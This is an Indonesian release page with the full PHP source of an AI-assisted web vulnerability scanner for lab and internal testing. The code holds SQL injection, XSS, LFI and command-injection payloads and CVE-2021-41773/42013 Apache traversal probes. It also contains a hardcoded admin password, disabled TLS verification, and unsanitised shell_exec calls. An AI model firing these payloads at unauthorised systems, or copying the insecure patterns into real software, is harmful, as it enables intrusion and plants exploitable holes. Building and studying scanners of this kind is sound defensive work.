Xcode.co.id · OPEN SOURCE RELEASE
Eksperimen awal untuk menggabungkan automated penetration testing dengan bantuan Artificial Intelligence (AI). Tool ini dikembangkan agar proses pengujian keamanan web menjadi lebih sederhana, cepat, dan mudah dipahami — terutama untuk kebutuhan lab, pembelajaran cybersecurity, dan pengujian internal.
Fungsi validate_target() melakukan validasi awal terhadap target. Target dapat berupa domain maupun alamat IP, misalnya example.com, 192.168.1.100, atau example.com/login.
Tool melakukan HTTP request dan membaca header seperti Server, X-Powered-By, Content-Type, Set-Cookie, dan HTTP status code untuk membuat fingerprint sederhana terhadap server.
Mengidentifikasi teknologi target (PHP Version, Web Server, Operating System, Content Type). Deteksi mengandalkan HTTP header dan dapat dikembangkan menjadi fingerprinting yang lebih lengkap.
Mengambil parameter dari URL query string, HTML form, input field, link dengan query parameter, serta beberapa pola AJAX. Penting karena SQL Injection, XSS, LFI, dan Command Injection sering berada pada parameter input pengguna.
Mendeteksi Error-based dan Time-based SQL Injection menggunakan beberapa payload pengujian. Jika ditemukan indikasi, sistem memberi hasil SQL Injection (Error based) — CRITICAL.
Mengirim beberapa payload uji dan mencari apakah payload tersebut muncul kembali pada response. Jika ditemukan, sistem memberi status XSS (Reflected) — HIGH.
Menguji Local File Inclusion atau Path Traversal dengan beberapa pola traversal untuk melihat apakah aplikasi dapat membaca file yang seharusnya tidak dapat diakses, misalnya /etc/passwd. Severity HIGH.
Mengirim input yang dapat memicu eksekusi command pada server dan mencari pola output command pada response (mis. uid=..., gid=...). Diklasifikasikan sebagai CRITICAL.
Pemeriksaan khusus terkait CVE-2021-41773 & CVE-2021-42013. Scanner memvalidasi indikasi path traversal. Jika ditemukan konten /etc/passwd, sistem memberi temuan Critical.
Setelah pentest selesai, data vulnerability dikirim ke model AI melalui OpenRouter. AI menjawab pertanyaan seperti "Bug yang ditemukan apa?" atau "Apa rekomendasi perbaikannya?".
Menyajikan hasil vulnerability assessment: Target, Tanggal, Pentester, Client, Server information, Vulnerability, Severity, CVSS, Evidence, Recommendation.
Laporan pentest mencakup Executive Summary, Phases, Parameters, Vulnerabilities, Recommendations, Conclusion.
1<?php 2error_reporting(E_ALL); 3ini_set('display_errors', 1); 4session_start(); 5 6define('USERNAME', 'admin'); 7define('PASSWORD', 'baseball'); 8define('OPENROUTER_API_KEY', ''); 9define('OPENROUTER_MODEL', 'openai/gpt-3.5-turbo'); 10define('DATA_DIR', __DIR__ . '/data'); 11define('PENTEST_FILE', DATA_DIR . '/pentest_results.json'); 12define('VA_FILE', DATA_DIR . '/va_results.json'); 13define('REPORT_FILE', DATA_DIR . '/pentest_report.json'); 14define('HISTORY_FILE', DATA_DIR . '/chat_history.json'); 15define('TARGET_FILE', DATA_DIR . '/target.json'); 16 17if (!is_dir(DATA_DIR)) mkdir(DATA_DIR, 0755, true); 18 19function load_json($f, $d=[]) { return file_exists($f) ? (json_decode(@file_get_contents($f), true) ?: $d) : $d; } 20function save_json($f, $d) { @file_put_contents($f, json_encode($d, JSON_PRETTY_PRINT)); } 21 22function validate_target($t) { 23 $t = trim($t); 24 if (empty($t)) return false; 25 $t = preg_replace('#^https?://#', '', $t); 26 $parts = explode('/', $t, 2); 27 $host = $parts[0]; 28 $path = isset($parts[1]) ? '/' . $parts[1] : ''; 29 if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9-]{1,61}\.[a-zA-Z]{2,}$/', $host) && 30 !preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $host)) { 31 return false; 32 } 33 return $host . $path; 34} 35 36function check_ai_status() { 37 $ch = curl_init(); 38 curl_setopt($ch, CURLOPT_URL, 'https://openrouter.ai/api/v1/chat/completions'); 39 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 40 curl_setopt($ch, CURLOPT_TIMEOUT, 5); 41 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 42 curl_setopt($ch, CURLOPT_POST, 1); 43 curl_setopt($ch, CURLOPT_HTTPHEADER, ['Authorization: Bearer ' . OPENROUTER_API_KEY, 'Content-Type: application/json']); 44 curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['model'=>OPENROUTER_MODEL, 'messages'=>[['role'=>'user','content'=>'ping']], 'max_tokens'=>2])); 45 $r = curl_exec($ch); 46 $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); 47 curl_close($ch); 48 return ['status'=>$code===200, 'message'=>$code===200?'AI Online':'AI Offline', 'timestamp'=>date('Y-m-d H:i:s')]; 49} 50 51function http_get_timed($url, &$time=0) { 52 $start = microtime(true); 53 $ch = curl_init(); 54 curl_setopt($ch, CURLOPT_URL, $url); 55 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 56 curl_setopt($ch, CURLOPT_TIMEOUT, 8); 57 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 58 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 59 $r = curl_exec($ch); 60 curl_close($ch); 61 $time = microtime(true) - $start; 62 return $r; 63} 64 65function http_get($url) { 66 $time = 0; 67 return http_get_timed($url, $time); 68} 69 70function get_headers_detailed($url) { 71 $ch = curl_init(); 72 curl_setopt($ch, CURLOPT_URL, $url); 73 curl_setopt($ch, CURLOPT_NOBODY, 1); 74 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 75 curl_setopt($ch, CURLOPT_HEADER, 1); 76 curl_setopt($ch, CURLOPT_TIMEOUT, 5); 77 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 78 $r = curl_exec($ch); 79 $info = curl_getinfo($ch); 80 curl_close($ch); 81 $headers = []; 82 foreach (explode("\n", $r) as $line) { 83 if (strpos($line, ':') !== false) { 84 list($k,$v) = explode(':', $line, 2); 85 $headers[trim($k)] = trim($v); 86 } 87 } 88 return [ 89 'server' => $headers['Server'] ?? 'Unknown', 90 'powered_by' => $headers['X-Powered-By'] ?? 'Unknown', 91 'content_type' => $headers['Content-Type'] ?? 'Unknown', 92 'cookies' => $headers['Set-Cookie'] ?? 'None', 93 'status' => $info['http_code'] ?? 0, 94 ]; 95} 96 97function detect_tech($url) { 98 $info = []; 99 $headers = get_headers_detailed($url); 100 $info['server'] = $headers['server']; 101 $info['powered_by'] = $headers['powered_by']; 102 $info['content_type'] = $headers['content_type']; 103 $info['status'] = $headers['status']; 104 $info['cookies'] = $headers['cookies']; 105 if (stripos($headers['powered_by'], 'PHP') !== false) { 106 preg_match('/PHP\/([\d\.]+)/i', $headers['powered_by'], $m); 107 $info['php_version'] = $m[1] ?? 'Unknown'; 108 } else { 109 $info['php_version'] = 'Tidak terdeteksi'; 110 } 111 $server = $headers['server']; 112 if (stripos($server, 'Windows') !== false) { 113 $info['os'] = 'Windows'; 114 } elseif (stripos($server, 'Linux') !== false || stripos($server, 'Ubuntu') !== false) { 115 $info['os'] = 'Linux'; 116 } elseif (stripos($server, 'Darwin') !== false) { 117 $info['os'] = 'macOS'; 118 } else { 119 $info['os'] = 'Tidak diketahui'; 120 } 121 return $info; 122} 123 124function extract_parameters($url) { 125 $params = []; 126 $parts = parse_url($url); 127 if (isset($parts['query'])) { 128 parse_str($parts['query'], $q); 129 $params = array_keys($q); 130 } 131 $html = http_get($url); 132 if ($html) { 133 preg_match_all('/<form[^>]*method=["\']?get["\']?[^>]*action=["\']?([^"\']*)["\']?[^>]*>/i', $html, $forms); 134 foreach ($forms[1] as $action) { 135 $action_url = $action ? $action : $url; 136 if (strpos($action_url, '?') !== false) { 137 parse_str(parse_url($action_url, PHP_URL_QUERY), $q); 138 $params = array_merge($params, array_keys($q)); 139 } 140 } 141 preg_match_all('/<input[^>]*name=["\']([^"\']+)["\'][^>]*>/i', $html, $inputs); 142 $params = array_merge($params, $inputs[1]); 143 preg_match_all('/<input[^>]*name=([^\s>"\']+)[^>]*>/i', $html, $inputs2); 144 $params = array_merge($params, $inputs2[1]); 145 preg_match_all('/<a[^>]*href=["\']([^"\']*\?[^"\']*)["\'][^>]*>/i', $html, $links); 146 foreach ($links[1] as $link) { 147 if (strpos($link, '?') !== false) { 148 parse_str(parse_url($link, PHP_URL_QUERY), $q); 149 $params = array_merge($params, array_keys($q)); 150 } 151 } 152 preg_match_all('/\.(get|post|ajax)\(["\']([^"\']*\?[^"\']*)["\']/i', $html, $ajax); 153 foreach ($ajax[2] as $ajax_url) { 154 if (strpos($ajax_url, '?') !== false) { 155 parse_str(parse_url($ajax_url, PHP_URL_QUERY), $q); 156 $params = array_merge($params, array_keys($q)); 157 } 158 } 159 } 160 $params = array_unique(array_filter($params)); 161 return $params; 162} 163 164// ----- Fungsi pembantu untuk mendeteksi error include (false positive) ----- 165function is_include_error($response) { 166 $patterns = [ 167 '/failed to open stream/i', 168 '/No such file/i', 169 '/include\(/i', 170 '/require\(/i', 171 '/file_get_contents\(/i' 172 ]; 173 foreach ($patterns as $pattern) { 174 if (preg_match($pattern, $response)) { 175 return true; 176 } 177 } 178 return false; 179} 180 181function is_sql_error($response) { 182 $patterns = [ 183 '/mysql/i', '/sql syntax/i', '/ora-[0-9]/i', '/sqlite/i', 184 '/postgresql error/i', '/unclosed quotation mark/i', 185 '/you have an error in your sql/i', '/warning.*mysql/i', 186 '/pdoexception/i', '/db2 sql error/i' 187 ]; 188 foreach ($patterns as $pattern) { 189 if (preg_match($pattern, $response)) { 190 return true; 191 } 192 } 193 return false; 194} 195 196// ---------- SQL Injection (hanya error-based & time-based, boolean dihapus) ---------- 197function test_sql($url, $param, $baseline_response) { 198 $vulns = []; 199 $time_payloads = [ 200 "' OR SLEEP(5)-- ", 201 "' OR pg_sleep(5)-- ", 202 "' WAITFOR DELAY '0:0:5'-- ", 203 "\" OR SLEEP(5)-- ", 204 "\" OR pg_sleep(5)-- ", 205 "\" WAITFOR DELAY '0:0:5'-- " 206 ]; 207 // Error-based payloads 208 $error_payloads = [ 209 "'", 210 "\"", 211 "' OR 1=1-- ", 212 "' OR 1=2-- ", 213 "\" OR 1=1-- ", 214 "\" OR 1=2-- " 215 ]; 216 // Cek error-based 217 foreach ($error_payloads as $p) { 218 $u = $url . (strpos($url,'?')===false?'?':'&') . urlencode($param) . '=' . urlencode($p); 219 $r = http_get($u); 220 if (is_include_error($r)) continue; 221 if (is_sql_error($r)) { 222 $vulns[] = ['type'=>'SQL Injection (Error based)', 'url'=>$u, 'parameter'=>$param, 'severity'=>'CRITICAL', 'evidence'=>"Pesan error SQL dengan payload: $p"]; 223 break; 224 } 225 } 226 // Cek time-based (jika belum ditemukan) 227 if (empty($vulns)) { 228 foreach ($time_payloads as $p) { 229 $u = $url . (strpos($url,'?')===false?'?':'&') . urlencode($param) . '=' . urlencode($p); 230 $time = 0; 231 $r = http_get_timed($u, $time); 232 if (is_include_error($r)) continue; 233 if ($time > 4.5) { 234 $vulns[] = ['type'=>'SQL Injection (Time based)', 'url'=>$u, 'parameter'=>$param, 'severity'=>'CRITICAL', 'evidence'=>"Waktu respon {$time}s dengan payload: $p"]; 235 break; 236 } 237 } 238 } 239 return $vulns; 240} 241 242// ---------- Deteksi Apache 2.4.49/50 ---------- 243function test_apache_vuln($base_url) { 244 $vulns = []; 245 $payloads = [ 246 '/cgi-bin/.%2e/.%2e/.%2e/etc/passwd', 247 '/cgi-bin/.%2e/.%2e/.%2e/bin/sh', 248 '/.%2e/.%2e/.%2e/etc/passwd' 249 ]; 250 foreach ($payloads as $p) { 251 $url = $base_url . $p; 252 $r = http_get($url); 253 if (strpos($r, 'root:') !== false || strpos($r, 'bin:') !== false) { 254 $vulns[] = ['type'=>'Apache Path Traversal / RCE (CVE-2021-41773/42013)', 'url'=>$url, 'parameter'=>'N/A', 'severity'=>'CRITICAL', 'evidence'=>"File /etc/passwd terlihat dengan payload: $p"]; 255 break; 256 } 257 } 258 return $vulns; 259} 260 261// ---------- XSS (tetap sensitif tapi filter include error) ---------- 262function test_xss($url, $param) { 263 $payloads = [ 264 "<script>alert(123)</script>", 265 "<script>alert('XSS')</script>", 266 "<img src=x onerror=alert(1)>", 267 "<svg onload=alert(1)>", 268 "<body onload=alert(1)>", 269 "<iframe src='javascript:alert(1)'></iframe>", 270 "onerror=alert(1) src=x", 271 "%3Cscript%3Ealert(1)%3C/script%3E", 272 "javascript:alert(1)", 273 "\"><script>alert(1)</script>", 274 "'><script>alert(1)</script>", 275 "\" onmouseover=alert(1) x=\"", 276 "' onmouseover=alert(1) x='", 277 "<img onerror=alert(1)>", 278 "<details open ontoggle=alert(1)>", 279 "<marquee onstart=alert(1)>", 280 "<script>eval('alert(1)')</script>", 281 "=<script>alert(123)</script>", 282 "%3Cscript%3Ealert%28123%29%3C%2Fscript%3E", 283 "alert(1)", 284 "prompt(1)", 285 "confirm(1)" 286 ]; 287 $vulns = []; 288 foreach ($payloads as $p) { 289 $u = $url . (strpos($url,'?')===false?'?':'&') . urlencode($param) . '=' . urlencode($p); 290 $r = http_get($u); 291 if (is_include_error($r)) continue; 292 // Cek refleksi langsung 293 if (strpos($r, $p) !== false) { 294 $vulns[] = ['type'=>'XSS (Reflected)', 'url'=>$u, 'parameter'=>$param, 'severity'=>'HIGH', 'evidence'=>"Payload terekam langsung: $p"]; 295 break; 296 } 297 $decoded = html_entity_decode($r); 298 if (strpos($decoded, $p) !== false) { 299 $vulns[] = ['type'=>'XSS (Reflected - HTML decoded)', 'url'=>$u, 'parameter'=>$param, 'severity'=>'HIGH', 'evidence'=>"Payload terekam setelah HTML decode: $p"]; 300 break; 301 } 302 $p_lower = strtolower($p); 303 $r_lower = strtolower($r); 304 if (strpos($r_lower, $p_lower) !== false) { 305 $vulns[] = ['type'=>'XSS (Reflected - case insensitive)', 'url'=>$u, 'parameter'=>$param, 'severity'=>'MEDIUM', 'evidence'=>"Payload terekam (case-insensitive): $p"]; 306 break; 307 } 308 $baseline = http_get($url); 309 if (abs(strlen($r) - strlen($baseline)) > 20) { 310 if (stripos($r, 'alert') !== false || stripos($r, 'script') !== false || stripos($r, 'onerror') !== false) { 311 if (!is_include_error($r)) { 312 $vulns[] = ['type'=>'XSS (Possible - length change)', 'url'=>$u, 'parameter'=>$param, 'severity'=>'LOW', 'evidence'=>"Perubahan panjang respon dan kata kunci terdeteksi: $p"]; 313 break; 314 } 315 } 316 } 317 } 318 return $vulns; 319} 320 321function test_lfi($url, $param) { 322 $payloads = ['../../../../etc/passwd', '..\\..\\..\\windows\\win.ini', '%2e%2e%2f%2e%2e%2fetc/passwd']; 323 $vulns = []; 324 foreach ($payloads as $p) { 325 $u = $url . (strpos($url,'?')===false?'?':'&') . urlencode($param) . '=' . urlencode($p); 326 $r = http_get($u); 327 if (strpos($r, 'root:') !== false || strpos($r, '[extensions]') !== false) { 328 $vulns[] = ['type'=>'LFI / Path Traversal', 'url'=>$u, 'parameter'=>$param, 'severity'=>'HIGH', 'evidence'=>"Konten file terdeteksi: $p"]; 329 break; 330 } 331 } 332 return $vulns; 333} 334 335function test_cmd($url, $param) { 336 $payloads = [';id', '|id', '&&id', ';whoami', '& id', '$(id)']; 337 $vulns = []; 338 foreach ($payloads as $p) { 339 $u = $url . (strpos($url,'?')===false?'?':'&') . urlencode($param) . '=' . urlencode($p); 340 $r = http_get($u); 341 if (preg_match('/uid=\d+\([^\)]+\)/', $r) || preg_match('/groups=\d+\([^\)]+\)/', $r) || preg_match('/user\s+name/i', $r)) { 342 $vulns[] = ['type'=>'Command Injection', 'url'=>$u, 'parameter'=>$param, 'severity'=>'CRITICAL', 'evidence'=>"Output perintah terdeteksi: $p"]; 343 break; 344 } 345 } 346 return $vulns; 347} 348 349function run_scan($target, $protocol, $params, &$prog=null) { 350 $base = $protocol . '://' . $target; 351 $all = []; 352 $tech = detect_tech($base); 353 $all[] = ['type'=>'Informasi Server', 'url'=>$base, 'parameter'=>'N/A', 'severity'=>'INFO', 354 'evidence'=>"Server: {$tech['server']} | Powered-By: {$tech['powered_by']} | PHP: {$tech['php_version']} | OS: {$tech['os']} | Status: {$tech['status']} | Content-Type: {$tech['content_type']}"]; 355 if ($tech['cookies'] != 'None') { 356 $all[] = ['type'=>'Cookie', 'url'=>$base, 'parameter'=>'N/A', 'severity'=>'INFO', 'evidence'=>"Set-Cookie: {$tech['cookies']}"]; 357 } 358 if (stripos($tech['server'], 'Apache/2.4.49') !== false || stripos($tech['server'], 'Apache/2.4.50') !== false) { 359 $apache_vulns = test_apache_vuln($base); 360 $all = array_merge($all, $apache_vulns); 361 if (empty($apache_vulns)) { 362 $all[] = ['type'=>'Apache 2.4.49/2.4.50 Terdeteksi', 'url'=>$base, 'parameter'=>'N/A', 'severity'=>'HIGH', 'evidence'=>"Versi Apache {$tech['server']} rentan terhadap CVE-2021-41773/42013, namun eksploitasi langsung gagal (mungkin sudah di-patch)."]; 363 } 364 } 365 $baseline = http_get($base); 366 if ($prog !== null) $prog = 30; 367 $total = count($params); 368 $i = 0; 369 foreach ($params as $p) { 370 $i++; 371 if ($prog !== null) $prog = 30 + round(($i/$total)*40); 372 $all = array_merge($all, test_sql($base, $p, $baseline)); 373 $all = array_merge($all, test_xss($base, $p)); 374 $all = array_merge($all, test_lfi($base, $p)); 375 $all = array_merge($all, test_cmd($base, $p)); 376 if (count($all) > 30) break; 377 } 378 if ($prog !== null) $prog = 80; 379 $unique = []; 380 foreach ($all as $v) { 381 $key = $v['type'] . '|' . $v['url'] . '|' . $v['parameter']; 382 if (!isset($unique[$key])) $unique[$key] = $v; 383 } 384 return ['vulnerabilities'=>array_values($unique), 'error'=>null]; 385} 386 387function run_complete($target, $pentester, $client, $protocol='http', &$prog=null) { 388 $results = ['target'=>$target, 'protocol'=>$protocol, 'timestamp'=>date('Y-m-d H:i:s'), 'pentester'=>$pentester, 'client'=>$client, 'summary'=>['total'=>0,'critical'=>0,'high'=>0,'medium'=>0,'low'=>0,'info'=>0,'exploitable'=>false], 'vulnerabilities'=>[], 'phases'=>[], 'parameters_found'=>[], 'error'=>null]; 389 if ($prog !== null) $prog = 5; 390 $full_url = $protocol . '://' . $target; 391 $results['phases'][] = ['phase'=>'Pra-engagement', 'data'=>['target'=>$full_url, 'pentester'=>$pentester, 'client'=>$client]]; 392 if ($prog !== null) $prog = 15; 393 $params = extract_parameters($full_url); 394 $dirsearch = shell_exec("dirsearch -u $full_url -e * -t 10 --timeout 3 2>&1 | head -100"); 395 if ($dirsearch) { 396 preg_match_all('/\?([^\s&]+)=/', $dirsearch, $m); 397 $params = array_merge($params, $m[1]); 398 } 399 $whatweb = shell_exec("whatweb -a 3 $full_url 2>&1"); 400 if ($whatweb) { 401 preg_match_all('/\?([^\s&]+)=/', $whatweb, $m); 402 $params = array_merge($params, $m[1]); 403 } 404 $params = array_unique(array_filter($params)); 405 $results['parameters_found'] = $params; 406 if ($prog !== null) $prog = 25; 407 $results['phases'][] = ['phase'=>'Pemodelan Ancaman', 'parameters'=>$params]; 408 if ($prog !== null) $prog = 35; 409 $scan = run_scan($target, $protocol, $params, $prog); 410 if ($scan['error']) { $results['error'] = $scan['error']; return $results; } 411 $results['vulnerabilities'] = $scan['vulnerabilities']; 412 foreach ($results['vulnerabilities'] as $v) { 413 $sev = strtoupper($v['severity'] ?? 'LOW'); 414 $results['summary']['total']++; 415 if ($sev == 'CRITICAL') $results['summary']['critical']++; 416 elseif ($sev == 'HIGH') $results['summary']['high']++; 417 elseif ($sev == 'MEDIUM') $results['summary']['medium']++; 418 elseif ($sev == 'LOW') $results['summary']['low']++; 419 else $results['summary']['info']++; 420 } 421 $exploitable = false; 422 foreach ($results['vulnerabilities'] as $v) { 423 if (in_array(strtoupper($v['severity']), ['CRITICAL','HIGH'])) { $exploitable = true; break; } 424 } 425 $results['summary']['exploitable'] = $exploitable; 426 $results['phases'][] = ['phase'=>'Pelaporan', 'summary'=>$results['summary']]; 427 if ($prog !== null) $prog = 100; 428 return $results; 429} 430 431function generate_recommendations($vulns) { 432 $recs = []; 433 foreach ($vulns as $v) { 434 if (stripos($v['type'], 'SQL') !== false) $recs[] = '[KRITIS] Gunakan prepared statements atau query parameterized untuk mencegah SQL Injection.'; 435 if (stripos($v['type'], 'XSS') !== false) $recs[] = '[TINGGI] Enkode output dan terapkan Content Security Policy (CSP).'; 436 if (stripos($v['type'], 'LFI') !== false || stripos($v['type'], 'Traversal') !== false) $recs[] = '[TINGGI] Batasi akses file sistem dan gunakan whitelist untuk input path.'; 437 if (stripos($v['type'], 'Command') !== false) $recs[] = '[KRITIS] Hindari penggunaan system(), exec(), shell_exec() pada input pengguna.'; 438 if (stripos($v['type'], 'Apache') !== false) $recs[] = '[KRITIS] Segera perbarui Apache ke versi terbaru (≥2.4.51) untuk menambal CVE-2021-41773/42013.'; 439 } 440 $recs[] = '[RENDAH] Lakukan pembaruan rutin pada semua komponen dan library.'; 441 $recs[] = '[RENDAH] Implementasikan pencatatan (logging) dan pemantauan keamanan.'; 442 return array_unique($recs); 443} 444 445function calculate_cvss($type) { 446 if (stripos($type, 'SQL')!==false || stripos($type,'Command')!==false || stripos($type,'Apache')!==false) return ['score'=>9.8, 'vector'=>'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'rating'=>'CRITICAL']; 447 if (stripos($type, 'XSS')!==false) return ['score'=>6.1, 'vector'=>'CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N', 'rating'=>'MEDIUM']; 448 if (stripos($type, 'LFI')!==false || stripos($type,'Traversal')!==false) return ['score'=>7.5, 'vector'=>'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N', 'rating'=>'HIGH']; 449 return ['score'=>5.3, 'vector'=>'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N', 'rating'=>'MEDIUM']; 450} 451 452function generate_va_report($result) { 453 $report = ['title'=>'Laporan VA - '.$result['target'], 'date'=>date('Y-m-d H:i:s'), 'pentester'=>$result['pentester'], 'client'=>$result['client'], 'protocol'=>$result['protocol']]; 454 $report['executive_summary'] = $result['summary']; 455 $report['executive_summary']['label'] = 'Ringkasan Eksekutif'; 456 $vuln_list = []; 457 foreach ($result['vulnerabilities'] as $v) { 458 $cvss = calculate_cvss($v['type']); 459 $vuln_list[] = ['type'=>$v['type'], 'url'=>$v['url'], 'parameter'=>$v['parameter'], 'severity'=>$v['severity'], 'cvss_score'=>$cvss['score'], 'cvss_vector'=>$cvss['vector'], 'cvss_rating'=>$cvss['rating'], 'evidence'=>$v['evidence']]; 460 } 461 $report['vulnerabilities'] = $vuln_list; 462 $report['recommendations'] = generate_recommendations($result['vulnerabilities']); 463 $report['parameters_tested'] = $result['parameters_found']; 464 $report['error'] = $result['error']; 465 foreach ($result['vulnerabilities'] as $v) { 466 if ($v['type'] == 'Informasi Server') { 467 $report['server_info'] = $v['evidence']; 468 break; 469 } 470 } 471 return $report; 472} 473 474function generate_full_report($result) { 475 $report = ['title'=>'Laporan Pentest - '.$result['target'], 'date'=>date('Y-m-d H:i:s'), 'pentester'=>$result['pentester'], 'client'=>$result['client'], 'protocol'=>$result['protocol']]; 476 $report['executive_summary'] = $result['summary']; 477 $report['executive_summary']['label'] = 'Ringkasan Eksekutif'; 478 $report['phases'] = $result['phases']; 479 $report['parameters_found'] = $result['parameters_found']; 480 $report['vulnerabilities'] = $result['vulnerabilities']; 481 $report['recommendations'] = generate_recommendations($result['vulnerabilities']); 482 $report['conclusion'] = $result['summary']['critical']>0 ? 'KRITIS - Perbaiki segera!' : ($result['summary']['high']>0 ? 'TINGGI - Perlu peningkatan' : 'RENDAH - Relatif aman'); 483 foreach ($result['vulnerabilities'] as $v) { 484 if ($v['type'] == 'Informasi Server') { 485 $report['server_info'] = $v['evidence']; 486 break; 487 } 488 } 489 return $report; 490} 491 492function analyze_with_ai($msg, $result) { 493 $prompt = "Anda ahli keamanan. Analisis hasil pentest:\nTarget: {$result['target']}\nTotal: {$result['summary']['total']}, Critical: {$result['summary']['critical']}, High: {$result['summary']['high']}\n"; 494 foreach ($result['vulnerabilities'] as $v) $prompt .= "- {$v['type']} | {$v['severity']} | {$v['url']}\n"; 495 $prompt .= "Pertanyaan: $msg\nJawab dalam bahasa Indonesia."; 496 $ch = curl_init(); 497 curl_setopt($ch, CURLOPT_URL, 'https://openrouter.ai/api/v1/chat/completions'); 498 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 499 curl_setopt($ch, CURLOPT_TIMEOUT, 20); 500 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 501 curl_setopt($ch, CURLOPT_POST, 1); 502 curl_setopt($ch, CURLOPT_HTTPHEADER, ['Authorization: Bearer ' . OPENROUTER_API_KEY, 'Content-Type: application/json']); 503 curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['model'=>OPENROUTER_MODEL, 'messages'=>[['role'=>'system','content'=>'Anda ahli keamanan siber. Jawab dalam bahasa Indonesia dengan format HTML.'] , ['role'=>'user','content'=>$prompt]], 'max_tokens'=>800])); 504 $r = curl_exec($ch); 505 $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); 506 curl_close($ch); 507 if ($code==200) { 508 $d = json_decode($r, true); 509 return isset($d['choices'][0]['message']['content']) ? nl2br($d['choices'][0]['message']['content']) : 'Maaf, AI tidak merespon.'; 510 } 511 return 'AI sedang offline. Coba lagi nanti.'; 512} 513 514// AJAX handlers 515if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) { 516 ob_clean(); 517 header('Content-Type: application/json'); 518 $response = ['success'=>false, 'message'=>'', 'data'=>null]; 519 try { 520 switch ($_POST['action']) { 521 case 'check_ai': 522 $response['success'] = true; 523 $response['data'] = check_ai_status(); 524 break; 525 case 'run_pentest': 526 $target = validate_target($_POST['target'] ?? ''); 527 if ($target) { 528 $pentester = $_POST['pentester'] ?? 'Tim'; 529 $client = $_POST['client'] ?? 'Klien'; 530 $protocol = $_POST['protocol'] ?? 'http'; 531 $prog = 0; 532 $result = run_complete($target, $pentester, $client, $protocol, $prog); 533 save_json(PENTEST_FILE, $result); 534 save_json(VA_FILE, generate_va_report($result)); 535 save_json(REPORT_FILE, generate_full_report($result)); 536 save_json(TARGET_FILE, ['target'=>$target, 'pentester'=>$pentester, 'client'=>$client, 'protocol'=>$protocol]); 537 $response['success'] = true; 538 $response['data'] = $result; 539 } else { 540 $response['message'] = 'Target tidak valid.'; 541 } 542 break; 543 case 'get_pentest_result': 544 $response['success'] = true; 545 $response['data'] = load_json(PENTEST_FILE, ['target'=>'Belum ada']); 546 break; 547 case 'get_va_report': 548 $response['success'] = true; 549 $response['data'] = load_json(VA_FILE, ['title'=>'Belum ada']); 550 break; 551 case 'get_full_report': 552 $response['success'] = true; 553 $response['data'] = load_json(REPORT_FILE, ['title'=>'Belum ada']); 554 break; 555 case 'send_message': 556 $msg = trim($_POST['message'] ?? ''); 557 if ($msg) { 558 $data = load_json(PENTEST_FILE, ['target'=>'Belum ada', 'summary'=>['total'=>0]]); 559 $ai = analyze_with_ai($msg, $data); 560 $response['success'] = true; 561 $response['data'] = $ai; 562 $history = load_json(HISTORY_FILE, []); 563 $history[] = ['type'=>'user', 'content'=>$msg, 'timestamp'=>date('Y-m-d H:i:s')]; 564 $history[] = ['type'=>'ai', 'content'=>$ai, 'timestamp'=>date('Y-m-d H:i:s')]; 565 save_json(HISTORY_FILE, array_slice($history, -100)); 566 } else { 567 $response['message'] = 'Pesan kosong.'; 568 } 569 break; 570 case 'get_history': 571 $response['success'] = true; 572 $response['data'] = array_slice(load_json(HISTORY_FILE, []), -20); 573 break; 574 case 'clear_history': 575 save_json(HISTORY_FILE, []); 576 $response['success'] = true; 577 break; 578 } 579 } catch (Exception $e) { 580 $response['message'] = 'Error: ' . $e->getMessage(); 581 } 582 echo json_encode($response); 583 exit; 584} 585 586// Login 587if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) { 588 if (($_POST['username']??'') === USERNAME && ($_POST['password']??'') === PASSWORD) { 589 $_SESSION['logged_in'] = true; 590 header('Location: ' . $_SERVER['PHP_SELF']); 591 exit; 592 } else $login_error = 'Salah!'; 593} 594if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } 595$is_logged_in = isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true; 596if ($is_logged_in) $ai_status = check_ai_status(); 597$pentest_data = load_json(PENTEST_FILE, ['target'=>'Belum ada']); 598$target_data = load_json(TARGET_FILE, ['target'=>'']); 599?> 600<!DOCTYPE html> 601<html> 602<head> 603 <meta charset="UTF-8"> 604 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 605 <title>Carolina Pentest AI</title> 606 <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet"> 607 <style> 608 *{margin:0;padding:0;box-sizing:border-box}body{font-family:sans-serif;background:#080c14;color:#e8edf5;height:100vh;overflow:hidden} 609 .login-page{display:<?php echo $is_logged_in?'none':'flex';?>;align-items:center;justify-content:center;height:100vh;background:#0d1a2b} 610 .login-box{background:rgba(17,25,39,0.95);padding:40px;border-radius:24px;width:100%;max-width:400px;text-align:center} 611 .login-box h1{color:#ff6f00} 612 .login-box input{width:100%;padding:12px;margin:8px 0;border-radius:8px;border:1px solid #4fc3f7;background:rgba(8,12,20,0.8);color:#fff} 613 .login-box button{width:100%;padding:12px;background:#e65100;color:#fff;border:none;border-radius:8px;font-weight:bold;cursor:pointer} 614 .app-container{display:<?php echo $is_logged_in?'flex':'none';?>;height:100vh} 615 .sidebar{width:380px;background:rgba(13,22,35,0.98);border-right:1px solid #2a3a4a;display:flex;flex-direction:column;overflow:hidden;padding:12px} 616 .sidebar-header h2{color:#ff6f00} 617 